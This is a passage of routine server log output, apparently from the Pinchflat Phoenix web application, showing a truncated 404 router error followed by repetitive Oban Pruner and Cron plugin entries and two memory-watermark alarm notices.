{"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKfLNr558qLSU0wADcox"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, (truncated) 17:20:37.375 [info] {"source":"oban","duration":2822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:00.513 [info] {"source":"oban","duration":516,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:21:07.378 [info] {"source":"oban","duration":2559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:37.381 [info] {"source":"oban","duration":2095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:00.514 [info] {"source":"oban","duration":383,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:22:07.384 [info] {"source":"oban","duration":2474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:37.386 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:00.516 [info] {"source":"oban","duration":714,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:23:07.390 [info] {"source":"oban","duration":3498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:37.393 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:00.517 [info] {"source":"oban","duration":710,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:24:07.396 [info] {"source":"oban","duration":1890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:37.398 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:00.519 [info] {"source":"oban","duration":630,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:25:07.400 [info] {"source":"oban","duration":1756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:37.405 [info] {"source":"oban","duration":2859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:00.523 [info] {"source":"oban","duration":2322,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:26:07.407 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:37.410 [info] {"source":"oban","duration":1947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:00.526 [info] {"source":"oban","duration":575,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:27:07.412 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:37.414 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:00.528 [info] {"source":"oban","duration":1351,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:28:07.416 [info] {"source":"oban","duration":1667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:37.420 [info] {"source":"oban","duration":1862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:00.535 [info] {"source":"oban","duration":924,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:29:07.424 [info] {"source":"oban","duration":3412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:37.429 [info] {"source":"oban","duration":3681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:00.536 [info] {"source":"oban","duration":522,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:30:07.432 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:37.437 [info] {"source":"oban","duration":4019,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:00.537 [info] {"source":"oban","duration":414,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:31:07.439 [info] {"source":"oban","duration":1699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:37.443 [info] {"source":"oban","duration":1795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:00.539 [info] {"source":"oban","duration":676,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:32:07.446 [info] {"source":"oban","duration":2129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:37.449 [info] {"source":"oban","duration":2226,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:00.540 [info] {"source":"oban","duration":400,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:33:07.454 [info] {"source":"oban","duration":3071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:37.456 [info] {"source":"oban","duration":1689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:00.541 [info] {"source":"oban","duration":397,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:34:07.460 [info] {"source":"oban","duration":2904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:37.463 [info] {"source":"oban","duration":2235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:00.542 [info] {"source":"oban","duration":405,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:35:07.468 [info] {"source":"oban","duration":3727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:37.471 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:00.544 [info] {"source":"oban","duration":854,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:36:07.473 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:37.475 [info] {"source":"oban","duration":1747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:00.546 [info] {"source":"oban","duration":790,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:37:07.481 [info] {"source":"oban","duration":4517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:37:37.486 [info] {"source":"oban","duration":4235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:00.547 [info] {"source":"oban","duration":550,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:38:07.490 [info] {"source":"oban","duration":3217,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:38:37.492 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:00.548 [info] {"source":"oban","duration":403,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:39:07.496 [info] {"source":"oban","duration":3609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:39:37.498 [info] {"source":"oban","duration":1659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:00.549 [info] {"source":"oban","duration":572,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:40:07.501 [info] {"source":"oban","duration":2667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:40:37.509 [info] {"source":"oban","duration":6559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:00.552 [info] {"source":"oban","duration":1713,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:41:07.512 [info] {"source":"oban","duration":1761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:41:37.515 [info] {"source":"oban","duration":1869,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:00.554 [info] {"source":"oban","duration":478,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:42:07.519 [info] {"source":"oban","duration":1880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:42:37.521 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:00.555 [info] {"source":"oban","duration":367,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:43:07.523 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:43:37.525 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:00.556 [info] {"source":"oban","duration":328,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:44:07.528 [info] {"source":"oban","duration":2384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:44:37.531 [info] {"source":"oban","duration":2293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:00.557 [info] {"source":"oban","duration":602,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:45:07.535 [info] {"source":"oban","duration":2947,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:37.537 [info] {"source":"oban","duration":1774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:00.562 [info] {"source":"oban","duration":4411,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:46:07.540 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:37.543 [info] {"source":"oban","duration":2618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:00.563 [info] {"source":"oban","duration":570,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:47:07.546 [info] {"source":"oban","duration":1624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:37.548 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:00.564 [info] {"source":"oban","duration":540,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:48:07.550 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:37.553 [info] {"source":"oban","duration":2237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:00.565 [info] {"source":"oban","duration":495,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:49:07.557 [info] {"source":"oban","duration":2279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:37.560 [info] {"source":"oban","duration":2049,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:00.567 [info] {"source":"oban","duration":908,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:50:07.563 [info] {"source":"oban","duration":2184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:37.566 [info] {"source":"oban","duration":2033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:00.568 [info] {"source":"oban","duration":493,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:51:07.568 [info] {"source":"oban","duration":1305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:37.570 [info] {"source":"oban","duration":1840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:00.570 [info] {"source":"oban","duration":836,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:52:07.573 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:37.575 [info] {"source":"oban","duration":1281,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:00.571 [info] {"source":"oban","duration":461,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:53:07.577 [info] {"source":"oban","duration":1032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:37.580 [info] {"source":"oban","duration":1900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:00.572 [info] {"source":"oban","duration":693,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:54:07.582 [info] {"source":"oban","duration":1783,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:37.585 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:00.574 [info] {"source":"oban","duration":401,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:55:07.588 [info] {"source":"oban","duration":1946,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:37.592 [info] {"source":"oban","duration":3276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:00.575 [info] {"source":"oban","duration":608,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:56:07.594 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:37.597 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:00.581 [info] {"source":"oban","duration":5242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:57:07.599 [info] {"source":"oban","duration":1360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:37.601 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:00.582 [info] {"source":"oban","duration":672,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:58:07.603 [info] {"source":"oban","duration":1324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:37.605 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:00.584 [info] {"source":"oban","duration":428,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:59:07.607 [info] {"source":"oban","duration":1905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:37.610 [info] {"source":"oban","duration":1832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:00.585 [info] {"source":"oban","duration":409,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:00:07.614 [info] {"source":"oban","duration":2743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:37.617 [info] {"source":"oban","duration":2174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:00.587 [info] {"source":"oban","duration":779,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:01:07.620 [info] {"source":"oban","duration":2215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:37.623 [info] {"source":"oban","duration":2270,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:00.589 [info] {"source":"oban","duration":843,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:02:07.626 [info] {"source":"oban","duration":1798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:37.629 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:00.590 [info] {"source":"oban","duration":408,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:03:07.631 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:37.634 [info] {"source":"oban","duration":2433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:00.591 [info] {"source":"oban","duration":686,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:04:07.639 [info] {"source":"oban","duration":4746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:37.643 [info] {"source":"oban","duration":2045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:00.593 [info] {"source":"oban","duration":727,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:05:07.646 [info] {"source":"oban","duration":2205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:37.648 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:00.596 [info] {"source":"oban","duration":751,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:06:07.650 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:37.652 [info] {"source":"oban","duration":1569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:00.598 [info] {"source":"oban","duration":387,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:07:07.654 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:37.656 [info] {"source":"oban","duration":1915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:00.599 [info] {"source":"oban","duration":460,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:08:07.659 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:37.661 [info] {"source":"oban","duration":1577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:00.600 [info] {"source":"oban","duration":573,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:09:07.664 [info] {"source":"oban","duration":1872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:37.667 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:00.601 [info] {"source":"oban","duration":489,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:10:07.669 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:37.671 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:00.602 [info] {"source":"oban","duration":657,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:11:07.673 [info] {"source":"oban","duration":1824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:37.676 [info] {"source":"oban","duration":1744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:00.604 [info] {"source":"oban","duration":577,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:12:07.680 [info] {"source":"oban","duration":2253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:37.683 [info] {"source":"oban","duration":1938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:00.607 [info] {"source":"oban","duration":885,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:13:07.688 [info] {"source":"oban","duration":4527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:16.491 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 18:13:37.691 [info] {"source":"oban","duration":1065,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:00.608 [info] {"source":"oban","duration":559,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:14:07.694 [info] {"source":"oban","duration":2414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:37.696 [info] {"source":"oban","duration":1841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:00.609 [info] {"source":"oban","duration":502,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:15:07.699 [info] {"source":"oban","duration":1603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:37.702 [info] {"source":"oban","duration":2122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:00.610 [info] {"source":"oban","duration":496,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:16:07.705 [info] {"source":"oban","duration":2710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:37.708 [info] {"source":"oban","duration":2301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:00.613 [info] {"source":"oban","duration":1679,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:17:07.710 [info] {"source":"oban","duration":1614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:37.712 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:00.614 [info] {"source":"oban","duration":565,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:18:07.714 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:37.717 [info] {"source":"oban","duration":2334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:00.616 [info] {"source":"oban","duration":618,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:19:07.721 [info] {"source":"oban","duration":3206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:37.726 [info] {"source":"oban","duration":3445,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:00.618 [info] {"source":"oban","duration":810,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:20:07.728 [info] {"source":"oban","duration":1871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:37.733 [info] {"source":"oban","duration":3071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:00.620 [info] {"source":"oban","duration":493,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:21:07.736 [info] {"source":"oban","duration":2455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:37.743 [info] {"source":"oban","duration":5366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:00.621 [info] {"source":"oban","duration":377,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:22:07.747 [info] {"source":"oban","duration":2676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:37.750 [info] {"source":"oban","duration":1699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:00.622 [info] {"source":"oban","duration":541,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:23:07.753 [info] {"source":"oban","duration":2211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:37.756 [info] {"source":"oban","duration":1904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:00.624 [info] {"source":"oban","duration":689,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:24:07.758 [info] {"source":"oban","duration":1481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:37.760 [info] {"source":"oban","duration":1727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:00.626 [info] {"source":"oban","duration":714,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:25:07.762 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:37.764 [info] {"source":"oban","duration":1615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:00.628 [info] {"source":"oban","duration":440,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:26:07.767 [info] {"source":"oban","duration":1926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:37.769 [info] {"source":"oban","duration":1268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:00.629 [info] {"source":"oban","duration":581,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:27:07.772 [info] {"source":"oban","duration":2429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:37.774 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:00.631 [info] {"source":"oban","duration":433,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:28:07.776 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:37.779 [info] {"source":"oban","duration":1949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:00.633 [info] {"source":"oban","duration":700,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:29:07.781 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:37.783 [info] {"source":"oban","duration":1816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:00.634 [info] {"source":"oban","duration":537,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:30:07.787 [info] {"source":"oban","duration":2204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:37.789 [info] {"source":"oban","duration":1816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:00.635 [info] {"source":"oban","duration":676,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:31:07.793 [info] {"source":"oban","duration":2146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:37.797 [info] {"source":"oban","duration":3013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:00.637 [info] {"source":"oban","duration":310,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:32:07.799 [info] {"source":"oban","duration":1583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:37.801 [info] {"source":"oban","duration":1647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:00.638 [info] {"source":"oban","duration":582,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:33:07.804 [info] {"source":"oban","duration":2504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:37.806 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:00.639 [info] {"source":"oban","duration":563,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:34:07.808 [info] {"source":"oban","duration":1502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:16.632 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 18:34:37.810 [info] {"source":"oban","duration":1338,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:00.641 [info] {"source":"oban","duration":678,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:35:07.812 [info] {"source":"oban","duration":1713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:37.816 [info] {"source":"oban","duration":2409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:00.643 [info] {"source":"oban","duration":1184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:36:07.821 [info] {"source":"oban","duration":4478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:37.824 [info] {"source":"oban","duration":1802,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:00.644 [info] {"source":"oban","duration":380,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:37:07.827 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:37.830 [info] 